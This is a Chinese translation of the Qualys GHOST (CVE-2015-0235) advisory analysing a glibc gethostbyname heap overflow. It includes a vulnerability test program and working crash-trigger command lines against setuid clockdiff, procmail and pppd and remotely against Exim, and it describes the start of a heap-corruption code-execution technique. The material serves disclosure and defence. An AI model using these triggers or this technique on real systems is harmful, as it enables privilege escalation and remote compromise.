中国领先的IT技术网站
|
|

CVE-2015-0235:幽灵(GHOST)漏洞解析

Qualys公司在进行内部代码审核时,发现了一个在GNU C库(glibc)中存在的__nss_hostname_digits_dots函数导致的缓冲区溢出漏洞。这个bug可达可以通过gethostbyname *()函数来触发,本地和远程均可行。

作者:blast来源:乌云知识库|2015-01-29 11:47

开发者大赛路演 | 12月16日,技术创新,北京不见不散


0x01 摘要

Qualys公司在进行内部代码审核时,发现了一个在GNU C库(glibc)中存在的__nss_hostname_digits_dots函数导致的缓冲区溢出漏洞。这个bug可达可以通过gethostbyname *()函数来触发,本地和远程均可行。鉴于它的影响,我们决定仔细分析它。分析完成后,我们也决定以“幽灵”(GHOST)命名此漏洞。

我们的分析过程中得出的主要结论是:

- 通过gethostbyname()函数或gethostbyname2()函数,将可能产生一个堆上的缓冲区溢出。经由gethostbyname_r()或gethostbyname2_r(),则会触发调用者提供的缓冲区溢出(理论上说,调用者提供的缓冲区可位于堆,栈,.data节和.bss节等。但是,我们实际操作时还没有看到这样的情况)。

- 漏洞产生时至多sizeof(char* )个字节可被覆盖(注意是char*指针的大小,即32位系统上为4个字节,64位系统为8个字节)。但是payload中只有数字( '0 '...' 9') ,点( “.”) ,和一个终止空字符('\0' ) 可用。

- 尽管有这些限制,我们依然可以执行任意的代码。

我们开发了一套完整的针对Exim邮件服务器的攻击PoC,测试中发现可以绕过所有现有保护 ( ASLR,PIE和NX )。且可以通杀32位和64位的机器。而且,在不久的将来,我们还会发布一个Metasploit的模块。

- 据悉,GNU C库的第一个易受攻击版本是glibc-2.2 ,发布于2000年11月10日,相当有年头了。

- 据了解,是有一些方法可以减轻影响的。事实上,这个漏洞其实在2013年5月21日就已经被修复了(在glibc-2.17和glibc-2.18的发行版之间) 。不幸的是,当时它并没有被认为是一个安全威胁。其结果是,大多数稳定版和长期支持版本现在依然暴露在漏洞影响下,比如: Debian 7 (wheezy) ,红帽企业版Linux 6和7,CentOS 6和7 ,Ubuntu 12.04。

0x02 分析

存在漏洞的函数__nss_hostname_digits_dots()由glibc的非重入版本的文件:nss/getXXbyYY.c,以及重入版本:nss/getXXbyYY_r.c提供。然而,这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的,这个宏定义只在这几个文件有:

- inet/gethstbynm.c
- inet/gethstbynm2.c
- inet/gethstbynm_r.c
- inet/gethstbynm2_r.c
- nscd/gethstbynm3_r.c

以上这些文件实现gethostbyname*()函数族,因此也只有它们会调用__nss_hostname_digits_dots(),并且可能触发它的缓冲区溢出。该函数的作用是:“如果主机名是IPv4/IPv6地址,就跳过费时的DNS查找”。

glibc-2.17的代码如下:

  1. int  
  2.  __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,  
  3.                              char **buffer, size_t *buffer_size,  
  4.                              size_t buflen, struct hostent **result,  
  5.                             enum nss_status *status, int af, int *h_errnop)  
  6.  {  
  7.  
  8.    if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')  
  9.      {  
  10.       const char *cp;  
  11.        char *hostname;  
  12.        typedef unsigned char host_addr_t[16];  
  13.        host_addr_t *host_addr;  
  14.        typedef char *host_addr_list_t[2];  
  15.        host_addr_list_t *h_addr_ptrs;  
  16.        char **h_alias_ptr;  
  17.        size_t size_needed;  
  18.  
  19.       size_needed = (sizeof (*host_addr)  
  20.                      + sizeof (*h_addr_ptrs) + strlen (name) + 1);  
  21.  
  22.        if (buffer_size == NULL)  
  23.         {  
  24.           if (buflen < size_needed)  
  25.             {  
  26.  
  27.                goto done;  
  28.              }  
  29.          }  
  30.        else if (buffer_size != NULL && *buffer_size < size_needed)  
  31.          {  
  32.            char *new_buf;  
  33.            *buffer_size = size_needed;  
  34.            new_buf = (char *) realloc (*buffer, *buffer_size);  
  35.  
  36.          if (new_buf == NULL)  
  37.              {  
  38.                goto done;  
  39.              }  
  40.            *buffer = new_buf;  
  41.          }  
  42.  
  43.        host_addr = (host_addr_t *) *buffer;  
  44.        h_addr_ptrs = (host_addr_list_t *)  
  45.          ((char *) host_addr + sizeof (*host_addr));  
  46.        h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));  
  47.        hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);  
  48.  
  49.        if (isdigit (name[0]))  
  50.          {  
  51.            for (cp = name;; ++cp)  
  52.              {  
  53.                if (*cp == '\0')  
  54.                  {  
  55.                    int ok;  
  56.  
  57.                   if (*--cp == '.')  
  58.                      break;  
  59.  
  60.                   if (af == AF_INET)  
  61.                      ok = __inet_aton (name, (struct in_addr *) host_addr);  
  62.                   else  
  63.                      {  
  64.                        assert (af == AF_INET6);  
  65.                        ok = inet_pton (af, name, host_addr) > 0;  
  66.                      }  
  67.                   if (! ok)  
  68.                    {  
  69.  
  70.                        goto done;  
  71.                      }  
  72.  
  73.                   resbuf->h_name = strcpy (hostname, name);  
  74.  
  75.                    goto done;  
  76.                 }  
  77.  
  78.                if (!isdigit (*cp) && *cp != '.')  
  79.                 break;  
  80.             }  
  81.         }  

Ln 85-86计算所需的缓冲区大小size_needed来存储三个不同的实体: HOST_ADDR,h_addr_ptrs和name(hostname) 。Ln 88-117 确保缓冲区足够大:Ln 88-97对应于函数重入的情况,Ln 98-117为非重入的情况。

Ln 121-125处理存储四个不同实体的指针地址,HOST_ADDR,h_addr_ptrs,h_alias_ptr ,和hostname。 计算size_needed时,漏掉了一个sizeof( * h_alias_ptr ) - 也即一个char指针的大小。

因此, strcpy的( )所在的Ln157应该可以让我们写过缓冲区的末尾,至多(取决于函数strlen(name)和对齐) 4个字节 (32位),或8个字节(64位)。有一个类似的strcpy()在Ln 200,但是这里没有缓冲区溢出:

  1. size_needed = (sizeof (*host_addr)  
  2.                           + sizeof (*h_addr_ptrs) + strlen (name) + 1);  
  3.  
  4.            host_addr = (host_addr_t *) *buffer;  
  5.            h_addr_ptrs = (host_addr_list_t *)  
  6.              ((char *) host_addr + sizeof (*host_addr));  
  7.           hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);  
  8.  
  9.                   resbuf->h_name = strcpy (hostname, name); 

为了在行157触发溢出,主机名参数必须符合下列要求:

- 它的第一个字符必须是数字(Ln 127) 。
- 它的最后一个字符不能是点 “.”(Ln 135 ) 。
- 它必须只包含数字和点(Ln 197 ) (我们称之为“数字和点”的要求) 。
- 它必须足够长以溢出缓冲区。例如,非重入的gethostbyname *()函数最开始就会通过调用malloc (1024)来分配自己的缓冲区 (申请 “1 KB”) 。
- 地址必须成功地解析为IPv4地址。该解析由INET_ATON()(Ln 143)完成 ,或作为inet_pton IPv6地址() (Ln 147)
- 经过仔细分析这两个函数,我们可以进一步完善这一“ inet - aton”的要求:

inet_pton()中冒号":"是被禁止的,而且我们不可能将带数字和点的地址解析成IPv6地址 。因此,它是不可能达到的溢出地点的,也即以参数为AF_INET6调用gethostbyname2()或gethostbyname2_r()函数族。

结论: inet_aton()是唯一的选择,并且主机名必须具有下列形式之一: “a.b.c.d”,“a.b.c”, “a.b” ,或“a” ,其中a,b ,c,d ,必须是无符号整数,最多0xfffffffful ,可以由strtoul()成功转换为十进制或者八进制(即没有整数溢出)(但不能是十六进制,因为'x'和'X'是被禁止的) 。

0x03 减轻影响的因素

这个bug的影响现在显著减少了,原因是:

◆补丁已经存在(因为2013年5月21日),并在2013年8月12日发布的glibc-2.18中被应用和测试:

[BZ#15014](更新日志)
* nss/getXXbyYY_r.c(INTERNAL(REENTRANT_NAME))[HANDLE_DIGITS_DOTS]:当数字-点解析成功时设置any_service。
* nss/digits_dots.c(__nss_hostname_digits_dots):为IPv6地址解析时,删除多余的变量声明和缓冲的重新分配。可重入函数调用时,总是需要设置NSS状态。当缓冲区太小时使用NETDB_INTERNAL而不是TRY_AGAIN。正确计算了所需大小。
* nss/Makefile (tests):加入 test-digits-dots。
* nss/test-digits-dots.c:新测试文件。

◆gethostbyname*()函数是过时的;随着IPv6的到来,新的应用程序应该使用getaddrinfo()来代替。

◆许多程序,特别是SUID文件可本地访问时,当且仅当之前调用inet_aton()失败时,会使用gethostbyname()。但是,就算到这里了,后续其他调用也必须成功,这样才能走到溢出的地方(“inet-aton”规定):但是这是不可能的,所以用这样的方案的程序是安全的。

◆大多数其他的程序,尤其是可远程访问的服务器,会使用gethostbyname()来执行反查DNS(FCrDNS,也被称为full-circle reverse DNS)。这些程序通常是安全的,因为传递到的gethostbyname()的主机名通常都已经被DNS软件预先检查了:

(RFC 1123)“每个label最多有63个8位数字,由点分隔,最多总计有255个八进制数字”。这使得它不可能满足“1 KB”要求。

事实上,glibc的的DNS解析器可以产生高达(最多)1025字符的主机名(如bit-string标签,特殊的或非打印的字符)。但这会引入反斜杠('\'),这样也会使得它不可能满足“只有数字和点”的要求。

0x04 案例分析

在本节中,我们将分析真实的调用gethostbyname*()函数的例子,但我们首先介绍一个小测试程序,检查系统是否脆弱:

  1. [user@...ora-19 ~]$ cat > GHOST.c << EOF 
  2. #include <netdb.h> 
  3. #include <stdio.h> 
  4. #include <stdlib.h> 
  5. #include <string.h> 
  6. #include <errno.h> 
  7.    
  8. #define CANARY "in_the_coal_mine"  
  9.    
  10. struct {  
  11.   char buffer[1024];  
  12.   char canary[sizeof(CANARY)];  
  13. temp = { "buffer", CANARY };  
  14.    
  15. int main(void) {  
  16.   struct hostent resbuf;  
  17.   struct hostent *result;  
  18.   int herrno;  
  19.   int retval;  
  20.    
  21.   /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/  
  22.   size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;  
  23.   char name[sizeof(temp.buffer)];  
  24.   memset(name, '0', len);  
  25.   name[len] = '\0';  
  26.    
  27.   retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);  
  28.    
  29.   if (strcmp(temp.canary, CANARY) != 0) {  
  30.     puts("vulnerable");  
  31.     exit(EXIT_SUCCESS);  
  32.   }  
  33.   if (retval == ERANGE) {  
  34.     puts("not vulnerable");  
  35.     exit(EXIT_SUCCESS);  
  36.   }  
  37.   puts("should not happen");  
  38.   exit(EXIT_FAILURE);  
  39. }  
  40. EOF  
  41.    
  42. [user@...ora-19 ~]$ gcc GHOST.c -o GHOST  
  43.    
  44. On Fedora 19 (glibc-2.17):  
  45.    
  46. [user@...ora-19 ~]$ ./GHOST  
  47. vulnerable  
  48.    
  49. On Fedora 20 (glibc-2.18):  
  50.    
  51. [user@...ora-20 ~]$ ./GHOST  
  52. not vulnerable 

4.1

glibc的本身包含了几个调用gethostbyname*()的函数。特别是,仅当第一次调用inet_aton()失败时,getaddrinfo()会调用gethostbyname2_r():按照“inet-aton”要求,这些内部调用是安全的。例如,

eglibc-2.13/sysdeps/posix/getaddrinfo.c:

  1. at->family = AF_UNSPEC;  
  2.   ...  
  3.   if (__inet_aton (name, (struct in_addr *) at->addr) != 0)  
  4.     {  
  5.       if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)  
  6.         at->family = AF_INET;  
  7.       else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED))  
  8.         {  
  9.           ...  
  10.           at->family = AF_INET6;  
  11.         }  
  12.       else  
  13.         return -EAI_ADDRFAMILY;  
  14.       ...  
  15.     }  
  16.   ...  
  17.   if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0)  
  18.     {  
  19.       ...  
  20.           size_t tmpbuflen = 512;  
  21.           char *tmpbuf = alloca (tmpbuflen);  
  22.           ...  
  23.               rc = __gethostbyname2_r (name, family, &th, tmpbuf,  
  24.                                        tmpbuflen, &h, &herrno);  
  25.       ...  
  26.     } 

4.2 - mount.nfs

类似的,mount.nfs 也没有漏洞:

  1. if (inet_aton(hostname, &addr->sin_addr))  
  2.            return 0;  
  3.    if ((hp = gethostbyname(hostname)) == NULL) {  
  4.            nfs_error(_("%s: can't get address for %s\n"),  
  5.                            progname, hostname);  
  6.            return -1;  
  7.    } 

4.3 - mtr

mtr也没有漏洞,因为它调用了getaddrinfo()而不是gethostbyname*()。

  1. #ifdef ENABLE_IPV6  
  2.   /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */  
  3.   ...  
  4.   error = getaddrinfo( Hostname, NULL, &hints, &res );  
  5.   if ( error ) {  
  6.     if (error == EAI_SYSTEM)  
  7.        perror ("Failed to resolve host");  
  8.     else  
  9.        fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error));  
  10.     exit( EXIT_FAILURE );  
  11.   }  
  12.   ...  
  13. #else  
  14.     host = gethostbyname(Hostname);  
  15.   if (host == NULL) {  
  16.     herror("mtr gethostbyname");  
  17.     exit(1);  
  18.   }  
  19.   ...  
  20. #endif 

4.4 - iputils

4.4.1 - clockdiff

clockdiff则有漏洞风险,因为:

  1.  hp = gethostbyname(argv[1]);  
  2.     if (hp == NULL) {  
  3.             fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);  
  4.             exit(1);  
  5.     }  
  6.    
  7.    
  8.    
  9.    
  10.    
  11. #!cpp  
  12. [user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff  
  13. -rwxr-xr-x. 1 root root 15076 Feb  1  2013 /usr/sbin/clockdiff  
  14.    
  15. [user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff  
  16. /usr/sbin/clockdiff = cap_net_raw+ep  
  17.    
  18. [user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`  
  19. .Segmentation fault  
  20.    
  21. [user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`  
  22. Segmentation fault  
  23.    
  24. [user@...ora-19-32b ~]$ dmesg  
  25. ...  
  26. [202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]  
  27. [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000] 

幽灵(GHOST)漏洞解析

4.4.2 - ping and arping

ping 、arping 在inet_aton()失败时调用 gethostbyname() 和 gethostbyname2()。此时,还会有另一个函数被调用 (例如Fedora,定义了USE_IDN):

4.4.2.1 - ping

  1. if (inet_aton(target, &whereto.sin_addr) == 1) {  
  2.                   ...  
  3.           } else {  
  4.                   char *idn;  
  5.           #ifdef USE_IDN  
  6.                   int rc;  
  7.                   ...  
  8.                   rc = idna_to_ascii_lz(target, &idn, 0);  
  9.                   if (rc != IDNA_SUCCESS) {  
  10.                           fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));  
  11.                           exit(2);  
  12.                   }  
  13.            #else  
  14.                   idn = target;  
  15.            #endif  
  16.                   hp = gethostbyname(idn); 

4.4.2.2 - arping

  1. if (inet_aton(target, &dst) != 1) {  
  2.            struct hostent *hp;  
  3.            char *idn = target;  
  4.            #ifdef USE_IDN  
  5.            int rc;  
  6.  
  7.            rc = idna_to_ascii_lz(target, &idn, 0);  
  8.  
  9.            if (rc != IDNA_SUCCESS) {  
  10.                    fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));  
  11.                    exit(2);  
  12.            }  
  13.            #endif  
  14.  
  15.            hp = gethostbyname2(idn, AF_INET); 

4.4.2.3 - 分析

如果idna_to_ascii_lz()修改了目标主机名,第一个调用INET_ATON()可能失败,第二次调用(gethostbyname()内部调用)能成功。例如,idna_to_ascii_lz()把任何Unicode点状的字符(0x3002,0xFF0E,0xFF61)转换为ASCII的句点(“.”)。

但是,这也限制了域标签63个字符的长度:这使得它只有4个label和3个点(“INET-ATON”的规定),因此不可能达到1024字节(“1KB”的要求)。

除非INET_ATON()(实际上,是strtoul())可以被欺骗接受超过3个点?事实上,idna_to_ascii_lz()不总限制 域名的长度。 glibc的支持“千”分组字符(man 3 printf);例如,sscanf(str,"%'lu",&ul)处理1000时,会得到下列输入字符串:

“1,000”,英语语言环境;

“1 000”,法语语言环境;

“1.000”,德语或西班牙语语言环境。

strtoul()也一样实现了这个“数字分组”,但它仅限glibc的内部函数使用。结论:要构造3个“.”以上是不可能的,所以ping, arping是没问题的。

4.5 - procmail

procmail 的“comsat/biff”特性有漏洞:

  1. #define COMSAThost      "localhost"    /* where the biff/comsat daemon lives */  
  2. ...  
  3. #define SERV_ADDRsep    '@'           /* when overriding in COMSAT=serv@...r */  
  4.    
  5. int setcomsat(chp)const char*chp;  
  6. { char*chad; ...  
  7.   chad=strchr(chp,SERV_ADDRsep);                             /* @ separator? */  
  8.   ...  
  9.   if(chad)  
  10.      *chad++='\0';                                    /* split the specifier */  
  11.   if(!chad||!*chad)                                               /* no host */  
  12. #ifndef IP_localhost                          /* Is "localhost" preresolved? */  
  13.      chad=COMSAThost;                                   /* nope, use default */  
  14. #else /* IP_localhost */  
  15.    { ...  
  16.    }  
  17.   else  
  18. #endif /* IP_localhost */  
  19.    { ...  
  20.      if(!(host=gethostbyname(chad))||!host->h_0addr_list)  
  21.    
  22. user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail  
  23. -rwsr-sr-x 1 root mail 83912 Jun  6  2012 /usr/bin/procmail  
  24.    
  25. user@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null  
  26. ...  
  27. *** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***  
  28. ======= Backtrace: =========  
  29. /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]  
  30. /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]  
  31. /lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]  
  32. /usr/bin/procmail[0x80548ec]  
  33. /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]  
  34. /usr/bin/procmail[0x804bb55]  
  35. ======= Memory map: ========  
  36. ...  
  37. 0980a000-0982b000 rw-p 00000000 00:00 0          [heap]  
  38. ...  
  39. Aborted  
  40.    
  41. user@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`  
  42.    
  43. user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null  
  44. Segmentation fault  
  45.    
  46. user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null  
  47. Segmentation fault  
  48.    
  49. user@...ian-7-2-32b:~$ dmesg  
  50. ...  
  51. [211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]  
  52. [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000] 

4.6 - pppd

当之前调用inet_addr()失败时(这个函数只是简单的包装了一下inet_aton()),pppd会调用gethostbyname()。inet_addr()会把将Internet主机地址从IPv4的数字-点格式转换为网络传输用的热浸制模式。当输入无效的时候,返回INADDR_NONE(通常是 -1).使用这个函数会导致一个问题,是因为-1是一个有效的地址(255.255.255.255)。inet_addr()失败了,但inet_aton()却成功了,因此会是一个导致溢出的点。

  1. user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd  
  2. -rwsr-xr-- 1 root dip 273272 Feb  3  2011 /usr/sbin/pppd  
  3.    
  4. user@...ntu-12-04-32b:~$ id  
  5. uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) 

4.6.1 ms-dns option

  1. static int  
  2. setdnsaddr(argv)  
  3.     char **argv;  
  4. {  
  5.     u_int32_t dns;  
  6.     struct hostent *hp;  
  7.    
  8.     dns = inet_addr(*argv);  
  9.     if (dns == (u_int32_t) -1) {  
  10.         if ((hp = gethostbyname(*argv)) == NULL) {  
  11.             option_error("invalid address parameter '%s' for ms-dns option",  
  12.                          *argv);  
  13.             return 0;  
  14.         }  
  15.         dns = *(u_int32_t *)hp->h_addr;  
  16.     }  
  17.    
  18. user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'  
  19. *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***  
  20. ======= Backtrace: =========  
  21. /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]  
  22. /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]  
  23. /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]  
  24. /usr/sbin/pppd(options_from_file+0xa8)[0x8064948]  
  25. /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]  
  26. /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]  
  27. /usr/sbin/pppd(main+0x1cf)[0x8050b2f]  
  28. /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]  
  29. ======= Memory map: ========  
  30. ...  
  31. 09c0c000-09c2d000 rw-p 00000000 00:00 0          [heap]  
  32. ...  
  33. Aborted (core dumped) 

幽灵(GHOST)漏洞解析

4.6.2 - ms-wins optio

  1. static int  
  2. setwinsaddr(argv)  
  3.     char **argv;  
  4. {  
  5.     u_int32_t wins;  
  6.     struct hostent *hp;  
  7.    
  8.     wins = inet_addr(*argv);  
  9.     if (wins == (u_int32_t) -1) {  
  10.         if ((hp = gethostbyname(*argv)) == NULL) {  
  11.             option_error("invalid address parameter '%s' for ms-wins option",  
  12.                          *argv);  
  13.             return 0;  
  14.         }  
  15.         wins = *(u_int32_t *)hp->h_addr;  
  16.     }  
  17.    
  18. user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'  
  19. *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***  
  20. ======= Backtrace: =========  
  21. /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]  
  22. /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]  
  23. /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]  
  24. /usr/sbin/pppd(options_from_file+0xa8)[0x8064948]  
  25. /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]  
  26. /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]  
  27. /usr/sbin/pppd(main+0x1cf)[0x8050b2f]  
  28. /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]  
  29. ======= Memory map: ========  
  30. ...  
  31. 08a61000-08a82000 rw-p 00000000 00:00 0          [heap]  
  32. ...  
  33. Aborted (core dumped) 

幽灵(GHOST)漏洞解析

4.6.3 - socket option

  1. static int  
  2. open_socket(dest)  
  3.     char *dest;  
  4. {  
  5.     char *sep, *endp = NULL;  
  6.     int sock, port = -1;  
  7.     u_int32_t host;  
  8.     struct hostent *hent;  
  9.     ...  
  10.     sep = strchr(dest, ':');  
  11.     if (sep != NULL)  
  12.         port = strtol(sep+1, &endp, 10);  
  13.     if (port < 0 || endp == sep+1 || sep == dest) {  
  14.         error("Can't parse host:port for socket destination");  
  15.         return -1;  
  16.     }  
  17.     *sep = 0;  
  18.     host = inet_addr(dest);  
  19.     if (host == (u_int32_t) -1) {  
  20.         hent = gethostbyname(dest);  
  21.         if (hent == NULL) {  
  22.             error("%s: unknown host in socket option", dest);  
  23.             *sep = ':';  
  24.             return -1;  
  25.         }  
  26.         host = *(u_int32_t *)(hent->h_addr_list[0]);  
  27.     }  
  28.    
  29. user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'  
  30. user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 *** 

4.7 - Exim

如果配置了检查HELO和EHLO的额外检查,Exim邮件服务器可远程触发该漏洞。(“helo_verify_hosts”或者"helo_try_verify_hosts"或者“verify=helo” ACL项目)。我们开发了一个可以稳定执行的漏洞,可以绕过所有已知的保护(ASLR, PIE, NX),可在32/64位系统触发。

  1. user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify  
  2. helo_verify_hosts = *  
  3.    
  4. user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"  
  5. 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
  6.    
  7. user@...ian-7-7-64b:~$ telnet 127.0.0.1 25  
  8. Trying 127.0.0.1...  
  9. Connected to 127.0.0.1.  
  10. Escape character is '^]'.  
  11. 220 debian-7-7-64b ESMTP Exim 4.80 ...  
  12. HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
  13. Connection closed by foreign host.  
  14.    
  15. user@...ian-7-7-64b:~$ dmesg  
  16. ...  
  17. [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000] 

幽灵(GHOST)漏洞解析

0x05 Exploitation

5.1 - Code execution

在本节中,我们将介绍如何对Exim SMTP邮件服务器实现远程执行代码,绕过NX保护和glibc的malloc强化。

首先,我们溢出的gethostbyname的基于堆的缓冲区,以及部分覆盖下一个相邻空闲块的大小字段,使之具有稍微更大的尺寸(我们只覆盖3字节的大小;因为,我们不能在32位溢出超过4个字节,或64位机器上8个字节):

  1.                             |< malloc_chunk 
  2.                             |  
  3. -----|----------------------|---+--------------------|-----  
  4.  ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...  
  5. -----|----------------------|---+--------------------|-----  
  6.      |                         X|  
  7.      |------------------------->|  
  8.                overflow  
  9.    
  10.    
  11.    
  12.    
  13.    
  14. #!cpp  
  15. struct malloc_chunk {  
  16.    
  17.   INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */  
  18.   INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */  
  19.    
  20.   struct malloc_chunk* fd;         /* double links -- used only if free. */  
  21.   struct malloc_chunk* bk;  
  22.    
  23.   /* Only used for large blocks: pointer to next larger size.  */  
  24.   struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */  
  25.   struct malloc_chunk* bk_nextsize;  
  26. }; 

X标记了内存损坏发生的位置。

其结果是,该glibc的malloc管理的空闲块被人工增大,导致内存与另一块Exim 的current_block重叠。而current_block是由Exim的的内部内存分配器管理的。

  1.                             |< malloc_chunk          |< storeblock 
  2.                             |                        |  
  3. -----|----------------------|------------------------|---------------+---|-----  
  4.  ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...  
  5. -----|----------------------|------------------------|---------------+---|-----  
  6.                             |                                        |  
  7.                             |<-------------------------------------->|  
  8.                                  artificially enlarged free chunk  
  9.    
  10.    
  11.    
  12.    
  13.    
  14. #!cpp  
  15. typedef struct storeblock {  
  16.   struct storeblock *next;  
  17.   size_t length;  
  18. } storeblock; 

然后,我们部分地分配已经释放的空闲块,然后使用任意数据覆盖Exim的current_block的起始部分(“storeblock”结构)。特别是,我们需要覆盖其“next”字段:

  1.                             |< malloc_chunk          |< storeblock 
  2.                             |                        |  
  3. -----|----------------------|------------------------|--------+----------|-----  
  4.  ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...  
  5. -----|----------------------|------------------------|--------+----------|-----  
  6.                             |                         X       |  
  7.                             |<------------------------------->

这有效地把gethostbyname的缓冲区溢出变成随便往哪儿写东西的问题,因为我们控制了两个指针:Exim分配器会返回的下一块内存块(被劫持“next”指针)和分配的数据(null终止字符串,我们发送Exim的SMTP命令的参数)。

